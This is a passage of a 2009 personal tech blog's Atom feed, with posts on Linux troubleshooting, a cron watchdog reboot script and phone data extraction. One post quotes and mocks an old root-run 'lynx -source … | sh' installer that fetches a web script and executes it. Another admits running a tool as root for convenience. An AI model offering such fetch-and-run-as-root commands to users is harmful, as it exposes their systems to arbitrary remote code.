idea how to launch it from the command line. Just from the menu. So I thought I'd log in to the GUI as root.&lt;br /&gt;&lt;br /&gt;Except that gdm was configured to prohibit that. I'm sure I could have reversed that with another several minutes on Google, but I thought that it would be easier just to figure out what the app was called. I ran &lt;span style="font-family:courier new;"&gt;ps -auxw&lt;/span&gt;, and found &lt;span style="font-family:courier new;"&gt;"/usr/bin/python /usr/bin/jockey-gtk"&lt;/span&gt;, which appeared after I opened "Hardware Drivers". I ran _that_ as root, clicked "activate" and...success! The wifi card started working again.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As they say, Linux is only free if your time has no value.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-587268124197889619?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/587268124197889619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/ubuntu-fail.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/587268124197889619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/587268124197889619'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/ubuntu-fail.html' title='Ubuntu fail'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1473655628167941934</id><published>2009-06-18T16:43:00.001-07:00</published><updated>2009-06-18T16:43:46.224-07:00</updated><title type='text'>If you need to do named entity recognition</title><content type='html'>Try this: &lt;a href="http://nlp.stanford.edu/software/CRF-NER.shtml"&gt;http://nlp.stanford.edu/software/CRF-NER.shtml&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1473655628167941934?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1473655628167941934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/if-you-need-to-do-named-entity.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1473655628167941934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1473655628167941934'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/if-you-need-to-do-named-entity.html' title='If you need to do named entity recognition'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4423918526665651326</id><published>2009-06-18T16:37:00.000-07:00</published><updated>2009-06-18T16:38:36.505-07:00</updated><title type='text'>Internets win</title><content type='html'>A friend from college sends the following:&lt;br /&gt;&lt;br /&gt;"How long until they release a handheld device whose entire purpose is to receive Twitter feeds and browse Facebook? I know--they can call it the SketchPad."&lt;br /&gt;&lt;br /&gt;I literally LOLed over that one.&lt;br /&gt;&lt;br /&gt;(inb4 &lt;a href="http://www.techcrunch.com/2009/01/19/techcrunch-tablet-update-prototype-b/"&gt;techcrunch tablet&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4423918526665651326?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4423918526665651326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/internets-win.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4423918526665651326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4423918526665651326'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/internets-win.html' title='Internets win'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4016193507115503817</id><published>2009-06-18T16:35:00.002-07:00</published><updated>2009-06-18T16:37:44.052-07:00</updated><title type='text'>mod_python tip of the day</title><content type='html'>If your apache starts segfaulting in mod_python, check for an infinite recursion.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4016193507115503817?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4016193507115503817/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/modpython-tip-of-day.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4016193507115503817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4016193507115503817'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/modpython-tip-of-day.html' title='mod_python tip of the day'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8970296390515980352</id><published>2009-06-18T16:35:00.001-07:00</published><updated>2009-06-18T16:35:53.969-07:00</updated><title type='text'>MySQL replication gotcha</title><content type='html'>If you set up mysql replication for backups, resist the temptation to use a very long password. The slave will silently truncate it when storing it and you'll get auth failures. You can see if it did this by looking at master.info in the mysql datadir.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8970296390515980352?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8970296390515980352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/mysql-replication-gotcha.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8970296390515980352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8970296390515980352'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/mysql-replication-gotcha.html' title='MySQL replication gotcha'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-373582865749475500</id><published>2009-06-18T16:15:00.000-07:00</published><updated>2009-06-18T16:16:57.701-07:00</updated><title type='text'>Lol energy fail</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://en.wikipedia.org/wiki/Quad_%28energy%29"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 320px;" src="http://3.bp.blogspot.com/_RQWmQmpSh1E/SjrKytPsEKI/AAAAAAAAAAU/tTtpF-Z8fwA/s400/USEnFlow02-quads.gif" alt="" id="BLOGGER_PHOTO_ID_5348810479943553186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Wow: the U.S. wastes more electricity on transmission losses than it generates from coal and hydropower combined.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-373582865749475500?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/373582865749475500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/lol-energy-fail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/373582865749475500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/373582865749475500'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/lol-energy-fail.html' title='Lol energy fail'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_RQWmQmpSh1E/SjrKytPsEKI/AAAAAAAAAAU/tTtpF-Z8fwA/s72-c/USEnFlow02-quads.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8760599617517522247</id><published>2009-06-18T16:12:00.001-07:00</published><updated>2009-06-18T16:15:16.083-07:00</updated><title type='text'>Internet Explorer 8 is awesome</title><content type='html'>Not only does it actually stick to standards, it even has a Firebug-like debugger built in. Of course, I'll still use Firefox, but it's nice to have for cross-platform checks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8760599617517522247?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8760599617517522247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/internet-explorer-8-is-awesome.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8760599617517522247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8760599617517522247'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/internet-explorer-8-is-awesome.html' title='Internet Explorer 8 is awesome'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8109013537243330328</id><published>2009-06-18T16:06:00.000-07:00</published><updated>2009-06-18T16:12:07.415-07:00</updated><title type='text'>Music fail</title><content type='html'>Why are linux music players so awful? Somehow, people have managed to&lt;br /&gt;make them _worse_ over the years, rather than better. Some examples:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt; I thought that playing through the web would be cool. There's a PHP  app called jinzora that purports to do that. After wrestling with the installer for ages while it repeatedly ignored my "no database;   use filesystem" settings until I relented and switched to sqlite,  it  dumped me at a page saying "Security breach detected". Plonk.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; OK, I'll install SSHFS and use XMMS. At least I can understand  _that._ But XMMS no longer installs, due to some Debian package  screwup involving an ancient version of GTK -- probably because XMMS  is no longer maintained. OK, here's something called XMMS2. Wait,  that doesn't even bring up a GUI! Apparently, they've made it so  abstract that you have to figure out how to bring that up  _separately_. Plonk.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; Oh, here's something called "bmpx", which is _also_ supposed to be a  successor to XMMS.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt; $ bmpx&lt;br /&gt;&lt;br /&gt;** (bmpx:4210): CRITICAL **: DBus Error: dbus-launch failed to autolaunch D-Bus session: Autolaunch error: X11 initialization failed.&lt;br /&gt;&lt;br /&gt;bmpx: Couldn't connect to session bus: dbus-launch failed to autolaunch D-Bus session: Autolaunch error: X11 initialization failed.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Er, WTF? Plonk.&lt;br /&gt;&lt;br /&gt;I'm getting too old for this stuff.&lt;br /&gt;&lt;br /&gt;Forget it. My music player was YouTube, and it's going to stay YouTube.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update&lt;/span&gt;: The package "beep-media-player" actually works and has most of the&lt;br /&gt;functionality of XMMS ca. 2001. I can even almost forgive the&lt;br /&gt;light-blue on very-light-blue color scheme.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8109013537243330328?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8109013537243330328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/music-fail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8109013537243330328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8109013537243330328'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/music-fail.html' title='Music fail'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7615056375908086023</id><published>2009-06-18T15:59:00.001-07:00</published><updated>2009-07-18T20:58:16.580-07:00</updated><title type='text'>Watchdogs</title><content type='html'>I have a computer with a dodgy onboard ethernet card.* It used to be that it would fail every year or so, printing a bunch of messages like this to /var/log/messages:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;May 19 04:34:01 tashtego kernel: NETDEV WATCHDOG: eth0: transmit timed out&lt;br /&gt;May 19 04:34:01 tashtego kernel: sky2 hardware hung? flushing&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;These days, it does that a lot more often. I ought to replace it, but since it's just (ha!) a backup box, I'm not very inclined. I had an equally dodgy solution: a watchdog script. Now you can have it, too:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;logger user.info "batman, robin here. monitoring network..."&lt;br /&gt;wget --spider -q  http://www.harvard.edu&lt;br /&gt;if [[ $? != 0 ]] ;  then&lt;br /&gt;   logger user.warn "holy flapjacks, batman, harvard timed out!"&lt;br /&gt;   sleep 60;&lt;br /&gt;   wget --spider -q  http://www.mit.edu&lt;br /&gt;   if [[ $? != 0 ]] ;  then&lt;br /&gt;sleep 30;&lt;br /&gt;logger user.warn "holy bran muffins batman, so did mit!"&lt;br /&gt;wget --spider -q  http://www.google.com&lt;br /&gt;if [[ $? != 0 ]] ;  then&lt;br /&gt;    logger user.err "holy s---, batman, google is down too. I'm rebooting!"&lt;br /&gt;    /sbin/reboot&lt;br /&gt;    logger user.err "batman, reboot happened with status $? ; wtf?"&lt;br /&gt;fi&lt;br /&gt;   fi&lt;br /&gt;fi&lt;br /&gt;logger user.info "oh, we're fine..."&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;This is not an elegant solution by any stretch of the imagination, but it does the job. I trigger it from root's cron every five minutes, like this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;0,5,10,15,20,25,30,35,40,45,50,55 * * * * /root/watchdog.sh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* I'm sure it's not made any longer, but if you're curious:&lt;br /&gt;&lt;br /&gt;02:00.0 Ethernet controller: Marvell Technology Group Ltd. 88E8053 PCI-E Gigabit Ethernet Controller (rev 19)&lt;br /&gt;Subsystem: Giga-byte Technology Marvell 88E8053 Gigabit Ethernet Controller (Gigabyte)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7615056375908086023?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7615056375908086023/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/watchdogs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7615056375908086023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7615056375908086023'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/watchdogs.html' title='Watchdogs'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-466161864023563562</id><published>2009-06-18T15:52:00.000-07:00</published><updated>2009-06-18T15:57:50.675-07:00</updated><title type='text'>Nostalgia win</title><content type='html'>A blast from the past, courtesy the NY Times:&lt;br /&gt;&lt;a href="http://www.nytimes.com/2001/03/01/technology/state-of-the-art-putting-a-new-soul-in-your-pc.html?partner=rssnyt&amp;amp;emc=rss&amp;amp;pagewanted=all"&gt;http://www.nytimes.com/2001/03/01/technology/state-of-the-art-putting-a-new-soul-in-your-pc.html?partner=rssnyt&amp;amp;emc=rss&amp;amp;pagewanted=all&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In  2001, Ximian was a big deal. At least, it was a big deal on Slashdot. (One more college habit I've managed to kick.)  This article describes the carefree, freewheeling environment of the bubble days, when you could expect random people on the Internet to su to root and&lt;span style="font-weight: bold;"&gt; source a shell script from a web page into their computer:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# lynx -source http://go-gnome.com | sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For you non-nerds, this is the computer equivalent of taking a syringe from a random stranger  and jabbing it into your arm. Ximian went out of business a long time ago, and go-gnome.com is long dead, but you can see the old shell script &lt;a href="http://web.archive.org/web/20010408010636/spidermonkey.helixcode.com/go-gnome"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-466161864023563562?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/466161864023563562/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/nostalgia-win.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/466161864023563562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/466161864023563562'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/nostalgia-win.html' title='Nostalgia win'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7452851289619919032</id><published>2009-06-18T15:46:00.000-07:00</published><updated>2009-06-18T15:51:35.651-07:00</updated><title type='text'>Uptime fail</title><content type='html'>On Tuesday, I knew something was amiss when my ssh sessions on barillari.org suddenly stopped echoing. Unfortunately, I was 200 miles away at the time. I called Z., who kindly checked the cables and hit the reboot switch, but it remained unpingable. So much for a 400+ day uptime.&lt;br /&gt;&lt;br /&gt;When I came to check it out, I discovered that I must have upgraded the kernel at some point during the year-plus period it was switched on. The system booted the upgraded kernel which for some reason renamed all of the drives from /dev/hd* to /dev/sd*. This freaked out grub, which couldn't find /dev/hda1. I bypassed that by hitting 'e' on the grub screen and changing root=/dev/hda1 to root=/dev/sda1. When the system booted, the drive-mounting process (or maybe it was fsck) freaked out again, because all of the fstab entries were wrong. Fortunately, it let me enter the root password, fix the fstab entries, and boot the machine. (The kernel upgrade also reordered the drives, so hdc became sdb. Gag.) I'm still not sure what brought the system down to begin with, but if there's a lesson in this, it's to never upgrade your kernel ever.&lt;br /&gt;&lt;br /&gt;(Man, I remember the days when I used to compile my own kernel. The things that one puts up with when one is younger...)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7452851289619919032?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7452851289619919032/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/uptime-fail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7452851289619919032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7452851289619919032'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/uptime-fail.html' title='Uptime fail'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4933457895046262309</id><published>2009-06-18T15:07:00.000-07:00</published><updated>2009-06-19T13:00:10.767-07:00</updated><title type='text'>Dragging data kicking and screaming out of your Motorola Maxx Ve</title><content type='html'>I have a Verizon-branded Motorola Maxx Ve. It does the basics just fine, except that it has a few problems, for which I have (sort-of) solutions:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;If the phone gets wet, it might short out the volume button, leaving the phone unresponsive to input. When this happened to me, none of the buttons worked except the volume switch. If I pressed it, the volume would slowly sink to mute, unless I pressed and held "louder" to fight it. I managed to fix this, but inelegantly -- I snapped off a piece of the housing around the volume control with a screwdriver, cleaned the contacts, and snapped the piece back into place. This was inelegant, but it did work.&lt;/li&gt;&lt;li&gt;If you want to transfer a ringtone via bluetooth, you may have to change its extension from ".mp3" to ".qcp" to get around a Verizon-imposed restriction.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;It's not easy to get data out of the Maxx. BitPim doesn't support the Maxx directly. But there is a workaround. Using version 1.06 in Debian, plug the phone into the computer with a standard USB connector, open the settings dialog in BitPim, tick "Read Only" and set "phone" to "other CDMA phone". Click "Browse" next to "Com port" and pick "USB Device - Vendor Motorola PCS, Product #2B24 (Interface #00)." Close the settings dialog. Most likely, BitPim will complain that it can't detect your phone. That's fine. Under the "View" menu, make sure "view filesystem" is checked. Click "Filesystem" in the left-hand pane, and click the triangle next to the root folder in the pane that appears. If you get an error relating to USB permissions, that means that you don't have access to the USB port. You could figure out how to grant this, or you could be lazy and insecure like me and just run bitpim as root. Bitpim should turn on its "busy" light and put "Reading phone file system" in the status bar. About 30 seconds later, it should show you the phone's filesystem. To get your SMS messages, go to &lt;code&gt;/brew/mod/syncom2&lt;code&gt;. Right-click the folder "msging" and choose "backup entire tree". Some minutes later, the system will ask you to save a zip file.&lt;/code&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Once you have the zip file with the messages, unzip it. The single-letter folders inside contain your SMS messages: d for drafts, i for inbox, o for outbox, s for saved, and I'm not sure what w is.  The messages are encoded in some odd format which inserts a NUL between every adjacent pair of characters (this makes the strings command fail); if you just want the text, pipe the .env files through &lt;span style="font-family: courier new;"&gt;tr&lt;/span&gt; to remove the NULs &lt;span style="font-family:courier new;"&gt;(cat 01.env | tr -d '\00').&lt;/span&gt; index/mb.idx also has the messages, but it truncates them, so if you want the full messages, look at the .env files. &lt;/li&gt;&lt;li&gt;The data files for the notepad and the calendar apps are in /brew/mod/rm_planner/tools/notepad and /brew/mod/rm_planner/tools/calendar. I have no idea how to decode the date format in the calendar app, but I'm just glad to have a copy of the data.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4933457895046262309?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4933457895046262309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/dragging-data-kicking-and-screaming-out.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4933457895046262309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4933457895046262309'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/dragging-data-kicking-and-screaming-out.html' title='Dragging data kicking and screaming out of your Motorola Maxx Ve'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-5806367821655448121</id><published>2009-06-18T15:02:00.000-07:00</published><updated>2009-06-18T15:07:55.984-07:00</updated><title type='text'>mean reversion</title><content type='html'>I used to blog here: &lt;a href="http://barillari.org/blog"&gt;http://barillari.org/blog&lt;/a&gt;. It was a cool setup: I used &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Blosxom&lt;/span&gt; in html-generation mode so that the posts were all static web pages, which meant no database, no scripting language, and no difficulty in porting to a new server. I never did figure out how to make caching work, so it took several minutes to regenerate the blog after each new post, but that didn't matter. I could monitor the traffic! And create graphs of it! Back in the day, Princeton used to put &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;everyone's&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;netid&lt;/span&gt; in their computer's &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;hostname&lt;/span&gt;, so if you did a reverse-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;lookup&lt;/span&gt; on the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;IPs&lt;/span&gt; visiting, you could even tell who was reading your blog!&lt;br /&gt;&lt;br /&gt;Then, sometime in 2007, I had a disk crash. I used the freezer trick (put the drive in a freezer, plug it back in, pray), which worked, but I must have forgotten to copy the heavily hacked &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;blosxom&lt;/span&gt; script. I think I also forgot the scripts that generated the photo galleries at &lt;a href="http://barillari.org/photos"&gt;http://barillari.org/photos&lt;/a&gt;. In any event, I never did have the time/inclination to fix either.&lt;br /&gt;&lt;br /&gt;That said, I've fought with enough silly tech problems that I thought I ought to put the solutions where Google can find them. I had to give up all of the cool tracking features of the old blog but, honestly, I can't say that I care. Expect only nerd content here. Enjoy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-5806367821655448121?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/5806367821655448121/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/mean-reversion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5806367821655448121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5806367821655448121'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/mean-reversion.html' title='mean reversion'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7584805901545810410</id><published>2007-06-23T20:12:00.000-07:00</published><updated>2009-10-04T08:49:37.848-07:00</updated><title type='text'>How to waste an evening</title><content type='html'>&lt;br /&gt;&lt;i&gt;One of a series on my&lt;br /&gt;&lt;a href="http://barillari.org/blog/computers/hardware/pentium-d.html"&gt;continuing&lt;/a&gt;&lt;br /&gt;&lt;a href="http://barillari.org/blog/computers/drama.html"&gt;adventures&lt;/a&gt; in&lt;br /&gt;&lt;a href="http://barillari.org/blog/computers/internet/web/httpd2.html"&gt;computer&lt;br 